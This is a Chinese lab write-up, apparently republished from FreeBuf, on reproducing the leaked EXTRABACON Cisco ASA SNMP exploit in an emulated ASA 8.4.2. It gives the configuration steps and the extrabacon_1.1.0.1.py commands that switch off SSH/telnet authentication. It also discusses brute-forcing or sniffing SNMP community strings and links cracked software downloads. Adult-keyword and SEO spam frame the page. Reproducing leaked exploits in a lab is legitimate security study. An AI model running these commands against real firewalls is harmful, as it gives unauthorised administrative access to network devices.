精品国产一级在线观看,国产成人综合久久精品亚洲,免费一级欧美大片在线观看

Cisco SNMP RCE漏洞復現過程

責任編輯:editor005

作者:tahf

2016-08-29 15:25:15

摘自:黑客與極客

為方便大家配置ASA防火墻,該鏡像中裝載有ASDM 6 4 9,只需要把Web管理方式打開,就可以使用ASDM管理和配置ASA了。利用腳本會根據key文件中的版本在 EXBA version 目錄下選擇對應的shellcode,來生成payload數據包。

NSA數據泄露后,很多大牛都給出了分析報告,讓我受益匪淺。作為一名技術小白,想分享下分析eqgrp-free-fileFirewallEXPLOITSEXBA的思路、搭建漏洞環境的過程和利用條件測試。本文具有極強的可操作性,請勿用于非法途徑。由于個人技術水平有限,文中可能還有部分問題和錯誤,還請各位大牛批評指正,歡迎交流!

000 最初的線索和資源分享

獲得泄露文件epgrp-free-file后,對FirewallEXPLOITS文件夾下的內容很感興趣,但子文件夾名稱對應的漏洞信息并不清楚。我們最關注的問題是這些漏洞利用工具的目標設備是什么,哪些版本受到漏洞影響,并且能否還原漏洞利用過程。對漏洞的成功復現是漏洞分析過程中非常重要的一步。

在分析過程中,注意到FirewallSCRIPTS目錄下存有部分關于漏洞利用工具的相關說明。比如EXTRABACON.txt,含有對EXBA下extrabacon_1.1.0.1.py漏洞利用腳本的相關說明。

明確目標是Cisco的ASA,版本v8.0-v8.4。由于是SNMP漏洞,需要ASA防火墻開啟SNMP服務。下一步我們需要搭建目標設備環境。由于手頭上沒有實物的ASA防火墻,所以我使用了基于VMware的ASA 8.42防火墻模擬器。為方便搭建環境,一并將資源和相關工具分享給大家。

ASA-8.42.rar(模擬ASA 5520,內含ASDM)

鏈接: https://pan.baidu.com/s/1dFzBqfv密碼: si9c

SecureCRT_win7.3.rar(C_R_T_7.3.rar)解壓密碼:CRT7.3

鏈接: https://pan.baidu.com/s/1bp3Jfvp密碼: yaq2

named pipe tcp proxy.zip

鏈接: https://pan.baidu.com/s/1jIdMvpO密碼: riw6

001 搭建ASA環境

使用VMware Workstation加載ASA-8.4.2虛擬機。建議首先修改虛擬機的配置,將橋接模式的網卡改成NAT模式,方便與其它虛擬機組網。同時,請查看下串行端口是否配置,默認配置為.pipe842。如果串口沒有配置,可以點擊添加串行端口,選擇“輸出到命名管道”。下一步按照下圖配置即可。

安裝named pipe tcp proxy軟件,并按照下圖配置,功能是將串行端口命名管道數據轉發到TCP端口上。

填入在ASA虛擬機配置的串行端口命名管道,Port選擇一個本機沒被占用的TCP端口。

安裝SecureCRT軟件并打開,新建一個Session,在協議中選擇Telnet,點擊下一步。

Hostname填入127.0.0.1,端口填入named Pipe Tcp Proxy中配置的端口,點擊下一步。

Session Name任意填寫,將作為一個標識,點擊完成。

打開ASA-842虛擬機電源,稍等片刻后,雙擊剛配置好的Session Name,如果右側終端顯示ciscoasa>就說明前面的配置沒有問題,現在相當是使用串口線連接ASA防火墻,下面開始配置ASA防火墻。該ASA鏡像默認用戶是netemu,密碼和enable密碼也是netemu。

ciscoasa>en

Password:****** (密碼是netemu)

ciscoasa#show run 查看下現在的配置

……

interface GigabitEthernet0

nameif inside

security-level 100

ip address 192.168.1.4 255.255.255.0

……

http server enable

http 192.168.1.0 255.255.255.0 inside

no snmp-server location

no snmp-server contact

snmp-server enable traps snmp authentication linkup linkdown coldstart warmstart

……

主要目的是復現漏洞,因此只需要根據自己的網絡環境做相應配置即可。如果對防火墻配置不熟悉,可以參考下面的配置命令。

配置IP地址,為inside區域:

ciscoasa# configure terminal

ciscoasa(config)# interface GigabitEthernet0

ciscoasa(config-if)# ip address 10.0.27.250 255.255.255.0 (配置該網卡IP為10.0.27.250)

ciscoasa(config-if)# no shut

ciscoasa(config-if)# nameif inside

配置完成后,使用宿主機應該可以ping通10.0.27.250。

為方便大家配置ASA防火墻,該鏡像中裝載有ASDM 6.4.9,只需要把Web管理方式打開,就可以使用ASDM管理和配置ASA了。

PS:有些鏡像是不帶ASDM的,需要自己使用tftp把ASDM的bin文件上傳。

配置http/https管理方式:

ciscoasa# configure terminal

ciscoasa(config)# http server enable

ciscoasa(config)# http 10.0.27.0 255.255.255.0 inside

然后使用瀏覽器訪問https://10.0.27.250,界面如下:

點擊Install ASDMlauncher,下載并安裝msi文件,需要安裝有JRE環境。安裝完成后可以在C:ProgramFiles (x86)Cisco SystemsASDM下,雙擊asdm-launcher.jar啟動ASDM客戶端。輸入IP、用戶名和密碼,即可登錄防火墻管理界面。

ASA最最基本的配置已經完成,別忘了使用write memory命令來保存之前的配置,否則斷電就白配置了。

002 漏洞復現

繼續閱讀EXTRABACON.txt文件。

根據該文件,目標防火墻需要開啟22(ssh)或者23(telnet)管理端口,并且需要開啟snmp-server。在確認目標防火墻22或者23端口開放后(通過端口掃描),我們可以使用extrabacon_1.1.0.1.py腳本的info參數對目標udp 161端口進行探測,并嘗試獲取需要的目標版本信息。

python extrabacon_1.1.0.1.py info -t 10.0.27.250 -c public

我們先來配置ssh和telnet管理方式,使ASA防火墻的22和23端口開放。

ssh管理配置:

ciscoasa# configure terminal

ciscoasa(config)# crypto key generate rsa modulus 1024

INFO: The name for the keys will be:

Keypair generation process begin. Please wait...

ciscoasa(config)# write memory

ciscoasa(config)# ssh 10.0.27.0 255.255.255.0 inside

ciscoasa(config)# aaa authentication ssh console LOCAL

telnet管理配置:

ciscoasa# configure terminal

ciscoasa(config)# telnet 10.0.27.0 255.255.255.0 inside

配置完成后,可以使用putty以ssh或telnet的方式登陸防火墻,注意在未使用漏洞利用工具前登陸是需要輸入用戶名和密碼的,輸入enable后還需要輸入enable密碼。

也可以直接通過ASDM圖形化界面完成上述配置,如上圖。ssh和telnet配置完成后,我們先嘗試使用extrabacon_1.1.0.1.py腳本探測下防火墻的udp 161端口。請直接把EXBA整個文件夾拷貝到Kali虛擬機中使用。

發送了一個snmp協議中get-request請求,version是v2c,但防火墻沒有任何響應。

防火墻默認是沒有開啟snmp-server的,現在讓我們配置下。

ciscoasa# configure terminal

ciscoasa(config)# snmp-server host inside 10.0.27.133 community public

簡單網絡管理協議SNMP,ASA 支持的版本v1 v2c v3,所有的訪問都必須認證。

v1和v2 版本是基于IP 地址和Community進行認證,而v3版本使用用戶名和密碼進行認證。

如果有興趣深入了解,可參考http://www.cnblogs.com/xdp-gacl/p/3978825.html

上面輸入的snmp-server host inside 10.0.27.133 community public配置命令,反映在ASDM圖形化管理界面上如上圖所示,也可以直接使用ASDM配置snmp-server。在extrabacon_1.1.0.1.py腳本中可以看到其支持的協議版本(only v2c),而v1和v2的認證是基于IP和Community,由于extrabacon_1.1.0.1.py腳本在Kali上運行,需要將host inside后面的IP設置為Kali虛擬機的IP地址,community相當于認證使用的密碼,這里設置為public。snmp-server配置完成后,我們再使用腳本的info參數探測下ASA的udp 161端口。

python extrabacon_1.1.0.1.py info -t 10.0.27.250 -c public

這次ASA給出了響應包,get-response數據包中包含了ASA的版本及hostname。同時漏洞利用腳本回顯的最后幾行給出了下一步需要執行的命令。—mode pass-disable的參數反映出該利用工具預期達到的效果,關閉防火墻對telnet或者ssh管理方式的認證,允許攻擊者通過連接不需要驗證的管理接口進行未授權操作。

新產生的/EXBA/keys/LZueXn.key文件,只是用來標識目標防火墻版本。

利用腳本會根據key文件中的版本在/EXBA/version/目錄下選擇對應的shellcode,來生成payload數據包。

復現漏洞的時刻到了!

python extrabacon_1.1.0.1.py exec -k LZUeXn -t 10.0.27.250 -c public --mode pass-disable

python extrabacon_1.1.0.1.py exec -t 10.0.27.250 -c public --mode pass-disable

如果不加參數-k,腳本將首先自動進行info探測,獲取目標版本信息后,再進行漏洞利用。

從key文件讀取版本,選擇對應版本shellcode,生成snmp協議的getBulkRequest請求數據包并發送。腳本執行成功后,使用putty以ssh或telnet的方式登陸下ASA防火墻,使用任意用戶名和密碼。并輸入enable,密碼任意,可以進行未授權操作,漏洞利用成功。

putty_01.png

  如果需要恢復認證,可以執行:

python extrabacon_1.1.0.1.py exec -k LZUeXn -t 10.0.27.250 -c public --mode pass-enable

003 利用條件測試

漏洞復現的環境搭建工作到此基本結束,但我繼續做了下面的部分測試,來探討該漏洞的利用條件。

因為在漏洞腳本利用前,我使用ASDM管理ASA,并且在漏洞利用全過程中沒有斷開ASDM的連接。在成功執行–mode pass-disable后,我在snmp配置界面做了一些更改,但點擊Apply后發現報錯,無法對snmp界面的Host Access List進行任何修改,見下圖。同時嘗試在其它配置面板對ASA更改其它配置,依然報錯,已無法使用ASDM對ASA進行配置。

將ASDM退出后,再次連接ASA,登陸時再次報錯,見下圖,此時已無法使用ASDM連接ASA。

根據報錯信息,懷疑漏洞利用的shellcode對privilege level進行了修改,還需要進一步驗證。

只有再次利用腳本執行–mode pass-enable恢復認證后,才能使用ASDM管理ASA??梢灶A見的是,如果管理員正在使用ASDM配置管理ASA防火墻,利用該漏洞攻擊是非常容易暴露的。

由于snmp v2版本是基于IP和Community字符串認證的,使該漏洞的利用條件變的比較苛刻。先來看基于IP的認證。

ciscoasa(config)#snmp-server host inside 10.0.27.133 community public

通過ASDM配置snmp服務時,Host Access Entry中的IP Address會進行合法性檢查,只能填入單個IP。

如果該IP與發送snmp請求包的IP地址不符,snmp服務將不予響應。經過測試,IP不符的情況下,漏洞利用腳本無法獲取目標版本信息,強行指定版本進行漏洞利用也無法成功。下圖是發送的版本信息探測數據包和payload數據包,ASA snmp服務均沒有任何響應。

wire_04.png

在理想條件下,假設執行漏洞利用腳本的主機恰好在snmp的Host Access Entry列表中,那么還將面臨Community的認證。如果配置snmp-server的Community事先不知道,或者不是大家常用的public這種。漏洞利用腳本的-c參數將很難填寫。經過測試,在-c參數后面的Community與ASA snmp-server配置的Community不符合的情況下,漏洞利用工具將無法獲得目標版本信息,漏洞無法成功利用。當然,可以嘗試爆破snmp的Community。也可以利用v1,v2協議數據沒有經過加密處理而對網絡進行嗅探。

綜上所述,該漏洞成功利用的條件如下:

1、目標防火墻開啟22(ssh)或23(telnet)管理方式

2、目標配置了snmp服務。并且snmp配置中的Host Access Entry IP地址和Community字符串能夠獲得或者已知。

3、目標版本在8.X-8.4.4之間。

請考慮管理員是否正在使用ASDM對防火墻進行管理和配置。

手里還有FGT-VM-4.00-FW-build521的環境,下一步想分析ExploitsEGBL目錄。作為一名技術小白,編寫本文的目的就是拋磚引玉,希望能交流更細節的東西,也想幫助大家盡快搭建起ASA的測試環境,便于進一步漏洞的分析。期待與大家一起交流學習,共同進步!

*本文原創作者:tahf,本文屬FreeBuf原創獎勵計劃,未經許可禁止轉載

鏈接已復制,快去分享吧

企業網版權所有?2010-2024 京ICP備09108050號-6京公網安備 11010502049343號

  • <menuitem id="jw4sk"></menuitem>

    1. <form id="jw4sk"><tbody id="jw4sk"><dfn id="jw4sk"></dfn></tbody></form>
      主站蜘蛛池模板: 年辖:市辖区| 黄梅县| 库尔勒市| 岚皋县| 三都| 平武县| 肇源县| 夏津县| 榆中县| 西丰县| 洛阳市| 驻马店市| 砚山县| 全州县| 石林| 城口县| 汝阳县| 福州市| 任丘市| 盐边县| 潞城市| 博客| 邵阳市| 兴和县| 中宁县| 临江市| 兴业县| 玉门市| 江城| 盱眙县| 汝州市| 新泰市| 黄平县| 宝兴县| 阳春市| 顺昌县| 建水县| 乌鲁木齐市| 西林县| 广安市| 青河县|